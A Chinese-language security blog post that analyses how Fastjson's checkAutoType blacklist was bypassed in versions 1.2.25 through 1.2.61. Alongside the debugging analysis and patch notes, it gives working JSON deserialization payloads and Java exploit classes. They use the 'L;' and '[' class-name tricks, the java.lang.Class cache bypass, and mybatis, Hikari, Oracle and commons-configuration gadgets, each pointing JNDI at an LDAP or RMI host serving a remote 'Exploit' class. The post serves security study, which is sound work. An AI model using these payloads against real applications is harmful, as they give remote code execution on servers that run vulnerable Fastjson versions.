Java反序列化Fastjson篇03-Fastjson各版本绕过分析
Drunkbaby Lv6
  2022-08-08 15:58:44 2022-08-08 15:58   2024-02-27 18:52:13      4.3k 字  19 分钟  

Fastjson各版本绕过分析

Java 反序列化 Fastjson 篇 03-Fastjson 各版本绕过分析

本篇文章讲的历史补丁版本绕过的利用，都必须开启AutoTypeSupport才能成功

0x01 前言

我们上篇文章分析了 Fastjson 1.2.24 版本的漏洞，这篇文章主要讲一讲 1.2.25 之后版本的绕过手段。

在讲这个之前，我们先看一看 Fastjson 的 1.2.25 版本是如何修复 1.2.24 版本的漏洞的。

0x02 分析 Fastjson 1.2.25 版本是如何修复漏洞的

checkAutoType()

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数：

看下checkAutoType()函数，具体的可看注释：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }
 
    final String className = typeName.replace('$', '.');
 
    // autoTypeSupport默认为False
    // 当autoTypeSupport开启时，先白名单过滤，匹配成功即可加载该类，否则再黑名单过滤
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }
 
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
 
    // 从Map缓存中获取类，注意这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }
 
    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
 
        return clazz;
    }
 
    // 当autoTypeSupport未开启时，先黑名单过滤，再白名单过滤，若白名单匹配上则直接加载该类，否则报错
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
 
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }
 
    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }
 
    if (clazz != null) {
 
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }
 
        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }
 
    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }
 
    return clazz;
}

简单地说，checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤，acceptList为白名单（默认为空，可手动添加），denyList为黑名单（默认不为空）。

默认情况下，autoTypeSupport为False，即先进行黑名单过滤，遍历denyList，如果引入的库以denyList中某个deny开头，就会抛出异常，中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”，这就把我们前面的几个利用链都给过滤了，成功防御了。

运行能看到报错信息，说autoType不支持该类：

调试分析看到，就是在checkAutoType()函数中未开启autoTypeSupport即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的：

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项，在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False，将其设置为True有两种方法：

  • JVM启动参数：-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置：ParserConfig.getGlobalInstance().setAutoTypeSupport(true);，如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法：

  1. JVM启动参数：-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置：ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置，配置方式如下：fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

小结补丁手段

在1.2.24之后的版本中，使用了checkAutoType()函数，通过黑白名单的方式来防御Fastjson反序列化漏洞，因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对1.2.41、1.2.42、1.2.43、1.2.45这些特定版本的补丁绕过，其实实际上并不只是针对该特定版本，而是针对从1.2.25开始的一系列版本，自己试下就知道PoC可以打哪些范围了。

0x03 寻找可用利用链

通过对黑名单的研究，我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始，Fastjson把原本明文形式的黑名单改成了哈希过的黑名单，目的就是为了防止安全研究者对其进行研究，提高漏洞利用门槛，但是有人已在Github上跑出了大部分黑名单包类：https://github.com/LeadroyaL/fastjson-blacklist

目前已知的哈希黑名单的对应表如下：

versionhashhex-hashname
1.2.42-87200464268501004970x86fc2bf9beaf7aefLorg.apache.commons.collections4.comparators
1.2.42-81093007016397210880x8f75f9fa0df03f80Lorg.python.core
1.2.42-79661231005031995690x9172a53f157930afLorg.apache.tomcat
1.2.42-77666058188347480970x9437792831df7d3fLorg.apache.xalan
1.2.42-68354370861568135360xa123a62f93178b20Ljavax.xml
1.2.42-48375369718107379700xbcdd9dc12766f0ceLorg.springframework.
1.2.42-40820570402351257540xc7599ebfe3e72406Lorg.apache.commons.beanutils
1.2.42-23649879942476791150xdf2ddff310cdb375Lorg.apache.commons.collections.Transformer
1.2.42-18724170153665881170xe603d6a51fad692bLorg.codehaus.groovy.runtime
1.2.42-2546701113762471510xfc773ae20c827691Ljava.lang.Thread
1.2.42-1902810656853956800xfd5bfc610056d720Ljavax.net.
1.2.423138641002078975070x45b11bc78a3aba3Lcom.mchange
1.2.4212032327279673086060x10b2bdca849d9b3eLorg.apache.wicket.util
1.2.4215028459588739591520x14db2e6fead04af0Ljava.util.jar.
1.2.4235476277816545989880x313bb4abd8d4554cLorg.mozilla.javascript
1.2.4237307524322858268630x33c64b921f523f2fLjava.rmi
1.2.4237943166657632660330x34a81ee78429fdf1Ljava.util.prefs.
1.2.4241476967071472714080x398f942e01920cf0Lcom.sun.
1.2.4253479098776336548280x4a3797b30328202cLjava.util.logging.
1.2.4254504488283349214850x4ba3e254e758d70dLorg.apache.bcel
1.2.4257513934395027952950x4fd10ddc6d13821fLjava.net.Socket
1.2.4259441079692361555800x527db6b46ce3bcbcLorg.apache.commons.fileupload
1.2.4267427054327180117800x5d92e6ddde40ed84Lorg.jboss
1.2.4271793369283658894650x63a220e60a17c7b9Lorg.hibernate
1.2.4274426242568605493300x6749835432e0f0d2Lorg.apache.commons.collections.functors
1.2.4288382947100984353150x7aa7ee3627a19cf3Lorg.apache.myfaces.context.servlet
1.2.43-22622447606199520810xe09ae4604842582fLjava.net.URL
1.2.46-81656373983507076450x8eadd40cb2a94443Ljunit.
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource
1.2.46-79212188309982864080x92122d710e364fb8Lorg.osjava.sj.
1.2.46-77686080374581852750x94305c26580f73c5Lorg.apache.log4j.
1.2.46-61795896095504933850xaa3daffdb10c4937Lorg.logicalcobwebs.
1.2.46-51946410812681042860xb7e8ed757f5d13a2Lorg.apache.logging.
1.2.46-39351858548757333620xc963695082fd728eLorg.apache.commons.dbcp
1.2.46-27534278444007762710xd9c9dbf6bbd27bb1Lcom.ibatis.sqlmap.engine.datasource
1.2.46-15891948802142351290xe9f20bad25f60807Lorg.jdom.
1.2.4610736347393082897760xee6511b66fd5ef0Lorg.slf4j.
1.2.4656882008837517983890x4ef08c90ff16c675Ljavassist.
1.2.4670174921631085942700x616323f12c2ce25eLoracle.net
1.2.4683890325370952473550x746bd4a53ec195fbLorg.jaxen.
1.2.4814598608459348176240x144277b467723158Ljava.net.InetAddress
1.2.4884096407690195891190x74b50bb9260e31ffLjava.lang.Class
1.2.4949040078171886304570x440e89208f445fb9Lcom.alibaba.fastjson.annotation
1.2.5951003360815100803430x46c808a4b5841f57Lorg.apache.cxf.jaxrs.provider.
1.2.5964568557234741969080x599b5c1213a099acLch.qos.logback.
1.2.5985372332572834526550x767a586a5107feefLnet.sf.ehcache.transaction.manager.
1.2.6036881790727221092000x332f0b5369a18310Lcom.zaxxer.hikari.
1.2.61-44013908040443773350xc2eb1e621f439309Lflex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61-16504858149830271580xe9184be55b1d962aLorg.apache.openjpa.ee.
1.2.61-12514191541766208310xeea210e8da2ec6e1Loracle.jdbc.rowset.OracleJDBCRowSet
1.2.61-98224830678824910xffdd1a80f1ed3405Lcom.mysql.cj.jdbc.admin.
1.2.61991470921420562800x1603dc147a3e358Loracle.jdbc.connector.OracleManagedConnectionFactory
1.2.6131148628681176055990x2b3a37467a344cdfLorg.apache.ibatis.parsing.
1.2.6148146584335701759130x42d11a560fc9fba9Lorg.apache.axis2.jaxws.spi.handler.
1.2.6165110355760632542700x5a5bd85c072e5efeLjodd.db.connection.
1.2.6189255224615796471740x7bddd363ad3998c6Lorg.apache.commons.configuration.JNDIConfiguration
1.2.62-91646063882146995180x80d0c70bcc2fea02Lorg.apache.ibatis.executor.
1.2.62-86499612137098967940x87f52a1b07ea33a6Lnet.sf.cglib.
1.2.62-57648047920632168190xafff4c95b99a334dLcom.mysql.cj.jdbc.MysqlDataSource
1.2.62-44387756801850741000xc2664d0958ecfe4cLaj.org.objectweb.asm.
1.2.62-33192079494866910200xd1efcdf4b3316d34Loracle.jdbc.
1.2.62-21928043970193473130xe1919804d5bf468fLorg.apache.commons.collections.comparators.
1.2.62-20955165713888526100xe2eb3ac7e56c467eLnet.sf.ehcache.hibernate.
1.2.6247503360585743090x10e067cd55c5e5Lcom.mysql.cj.log.
1.2.622185129929475363120x3085068cb7201b8Lorg.h2.jdbcx.
1.2.628236410664736099500xb6e292fa5955adeLorg.apache.commons.logging.
1.2.6215344396105674457540x154b6cb22d294cfaLorg.apache.ibatis.reflection.
1.2.6218180893084933703940x193b2697eaaed41aLorg.h2.server.
1.2.6221646967230692878540x1e0a8c3358ff3daeLorg.apache.ibatis.datasource.
1.2.6226534536299297705690x24d2f6048fef4e49Lorg.objectweb.asm.
1.2.6228364312547378911130x275d0732b877af29Lflex.messaging.util.concurrent.
1.2.6230894514601015278570x2adfefbbfe29d931Lorg.apache.ibatis.javassist.
1.2.6237183526611241366810x339a3e0b6beebee9Lorg.apache.ibatis.ognl.
1.2.6240461903615206716430x3826f4b2380c8b9bLcom.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.6262803579609592176600x5728504a6d454ffcLorg.apache.ibatis.scripting.
1.2.6267342403264340962460x5d74d3e5b9370476Lcom.mysql.cj.jdbc.MysqlXADataSource
1.2.6271233268972945070600x62db241274397c34Lorg.apache.commons.collections.functors.
1.2.6284882660053366251070x75cc60f5871d0fd3Lorg.apache.commons.configuration

目前未知的哈希黑名单：

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.62 -6316154655839304624 0xa85882ce1044c450L
1.2.62 -5472097725414717105 0xb40f341c746ec94fL
1.2.62 -4608341446948126581 0xc00be1debaf2808bL
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L
1.2.62 4841947709850912914 0x43320dc9d2ae0892L
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L

0x04 1.2.25 - 1.2.41 补丁绕过

EXP

本地的 Fastjson 版本是 1.2.41，我们可以先试一试之前用的 EXP，情况会怎么样。

看到这里，黑名单里面，被 ban 了。

看了别人的 payload，意思是简单绕过，既然 sun 包里面的这个 JdbcRowSetImpl 类被 ban 了，尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L，结尾加上 ; 绕过

  • 然后开启 AutoTypeSupport

EXP 如下

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
public class SuccessBypassEXP {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";  
 JSON.parse(payload);  
 }  
}

调试分析

我们注意到，PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。

下面我们调试分析看看为啥会绕过。首先要知道一点，Lcom.sun.rowset.JdbcRowSetImpl; 这个类其实是不存在的。

  • 断点下在 ParseConfig 的 checkAutoType() 方法

开始调试，先一路进到这个地方，就是我们前文所说的黑名单了。

继续往里走，它会判断我们 @type 类是否为黑名单那里面的类。这里会循环很久，可以直接跳出来，继续往下走。

然后会走到一个特别重要与核心的方法 ————
loadClass()，它隶属的类是 TypeUTtils

往下走，有一步语句非常非常关键。

意思是，如果我们这个类的起始是 L，结尾是 ;，就把这两个家伙给干掉，变成空白，所以这里返回过来的就是 com.sun.rowset.JdbcRowSetImpl 了，就可以进行我们的恶意利用，这个代码写出来也是有点……

0x05 1.2.25-1.2.42 补丁绕过

EXP

EXP 是这样的

1
2
3
4
5
{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://localhost:1389/Exploit", 
	"autoCommit":true
}

这里代码运行的逻辑是，如果还是按照我们的 EXP 写的话，Fastjson 会先行提取 L 和 ;，也就是逻辑不准确，所以我们这里可以直接写两个来绕过。

0x06 1.2.25-1.2.43 补丁绕过

EXP

直接给出payload：

1
2
3
4
5
{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

关键PoC：[com.sun.rowset.JdbcRowSetImpl

如果我们一开始payload直接这样写是会报错的：

1
2
3
4
5
{
	"@type":"[com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

报错信息如下，显示期待在42列的位置接受个”[“符号，而42列正好是第一个逗号”,”前一个位置：

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload，在第一个逗号前面加个”[“：

1
2
3
4
5
{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

继续报错，显示期待在43列的位置接受个”{“符号，而43列正好是紧跟在新加的”[“字符的后一个位置：

调试分析

调试发现，在checkAutoType()函数中，修改的是直接对类名以”LL”开头的直接报错：

但是以 ”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试，在TypeUtils.loadClass()函数中，除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外，在其前面还有一个判断是否以”[“开头的if判断语句，是的话就提取其中的类名，并调用Array.newInstance().getClass()来获取并返回类：

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”，通过checkAutoType()函数检测之后，到后面就是读该类进行反序列化了：

在反序列化中，调用了DefaultJSONParser.parseArray()函数来解析数组内容，其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等，前面一开始尝试的几个payload报错的原因正是出在这里：

把这些条件一一满足后，就能成功利用了

0x07 1.2.25-1.2.45补丁绕过

绕过利用 EXP

前提条件：需要目标服务端存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。

直接给出payload，要连LDAP或RMI都可以：

1
2
3
4
5
6
7
{
	"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties":
	{
		"data_source":"ldap://localhost:1389/Exploit"
	}
}

关键PoC：org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过，这个类我们在哈希黑名单中1.2.46的版本中可以看到：

versionhashhex-hashname
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource

EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
  
// Fastjson 1.2.41 版本的绕过  
public class SuccessBypassEXP_45 {  
    public static void main(String[] args) {  
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
 String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +  
                "\"properties\":{\"data_source\":\"ldap://localhost:1234/Exploit\"}}";  
 JSON.parse(payload);  
 }  
}

成功

调试分析

调试checkAutoType()函数，看到对前一个补丁绕过方法的”[“字符进行了过滤，只要类名以”[“开头就直接抛出异常：

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中，因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值，且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件，因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点，可以看到会调用到这来，这里就是熟悉的JNDI注入漏洞了，即InitialContext.lookup()，其中参数由我们输入的properties属性中的data_source值获取的：

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

0x08 1.2.25-1.2.47补丁绕过

EXP

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的，并且无需开启AutoTypeSupport，大大提高了成功利用的概率。

绕过的大体思路是通过 java.lang.Class，将JdbcRowSetImpl类加载到Map中缓存，从而绕过AutoType的检测。因此将payload分两次发送，第一次加载，第二次执行。默认情况下，只要遇到没有加载到缓存的类，checkAutoType()就会抛出异常终止程序。

Demo如下，无需开启AutoTypeSupport，本地Fastjson用的是1.2.47版本：

EXP 如下

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
 
public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

成功

调试分析

实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的，因此除了JDK版本外几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢？经测试发现：

  • 1.2.25-1.2.32版本：未开启AutoTypeSupport时能成功利用，开启AutoTypeSupport反而不能成功触发；
  • 1.2.33-1.2.47版本：无论是否开启AutoTypeSupport，都能成功利用；

在调用DefaultJSONParser.parserObject()函数时，其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中，进行checkAutoType()函数，由于未开启AutoTypeSupport，因此不会进入黑白名单校验的逻辑；由于@type执行java.lang.Class类，该类在接下来的findClass()函数中直接被找到，并在后面的if判断clazz不为空后直接返回：

往下调试，调用到MiscCodec.deserialze()，其中判断键是否为”val”，是的话再提取val键对应的值赋给objVal变量，而objVal在后面会赋值给strVal变量：

接着判断clazz是否为Class类，是的话调用TypeUtils.loadClass()加载strVal变量值指向的类：

在TypeUtils.loadClass()函数中，成功加载com.sun.rowset.JdbcRowSetImpl类后，就会将其缓存在Map中：

在扫描第二部分的JSON数据时，由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了，所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类，进而在下面的判断clazz是否为空的if语句中直接return返回了，从而成功绕过checkAutoType()检测：

补丁分析

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE，因此危害十分巨大，看看是怎样修的。1.2.48中的修复措施是，在loadClass()时，将缓存开关默认置为False，所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

调试分析，在调用TypeUtils.loadClass()时中，缓存开关cache默认设置为了False，对比下两个版本的就知道了。

1.2.48版本：

1.2.47版本：

导致目标类并不能缓存到Map中了：

因此，即使未开启AutoTypeSupport，但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中，就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了，只能进入后面的代码逻辑进行黑白名单校验被过滤掉：

0x09 Fastjson <= 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

需要开启 autoType：

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi

0x10 小结

有点 CTF 那味儿了哈哈

参考资料

Fastjson系列三——历史版本补丁绕过（需开启AutoType） [ Mi1k7ea ]

  • 本文标题：Java反序列化Fastjson篇03-Fastjson各版本绕过分析
  • 本文作者：Drunkbaby
  • 创建时间：2022-08-08 15:58:44
  • 本文链接：2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/
  • 版权声明：本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！
 评论
  1. Java 反序列化 Fastjson 篇 03-Fastjson 各版本绕过分析
    1. 0x01 前言
    2. 0x02 分析 Fastjson 1.2.25 版本是如何修复漏洞的
      1. checkAutoType()
      2. autoTypeSupport
      3. 小结补丁手段
    3. 0x03 寻找可用利用链
    4. 0x04 1.2.25 - 1.2.41 补丁绕过
      1. EXP
      2. 调试分析
    5. 0x05 1.2.25-1.2.42 补丁绕过
      1. EXP
    6. 0x06 1.2.25-1.2.43 补丁绕过
      1. EXP
      2. 调试分析
    7. 0x07 1.2.25-1.2.45补丁绕过
      1. 绕过利用 EXP
      2. 调试分析
    8. 0x08 1.2.25-1.2.47补丁绕过
      1. EXP
      2. 调试分析
      3. 补丁分析
    9. 0x09 Fastjson <= 1.2.61 通杀
      1. Fastjson1.2.5 <= 1.2.59
      2. Fastjson1.2.5 <= 1.2.60
      3. Fastjson1.2.5 <= 1.2.61
    10. 0x10 小结
    11. 参考资料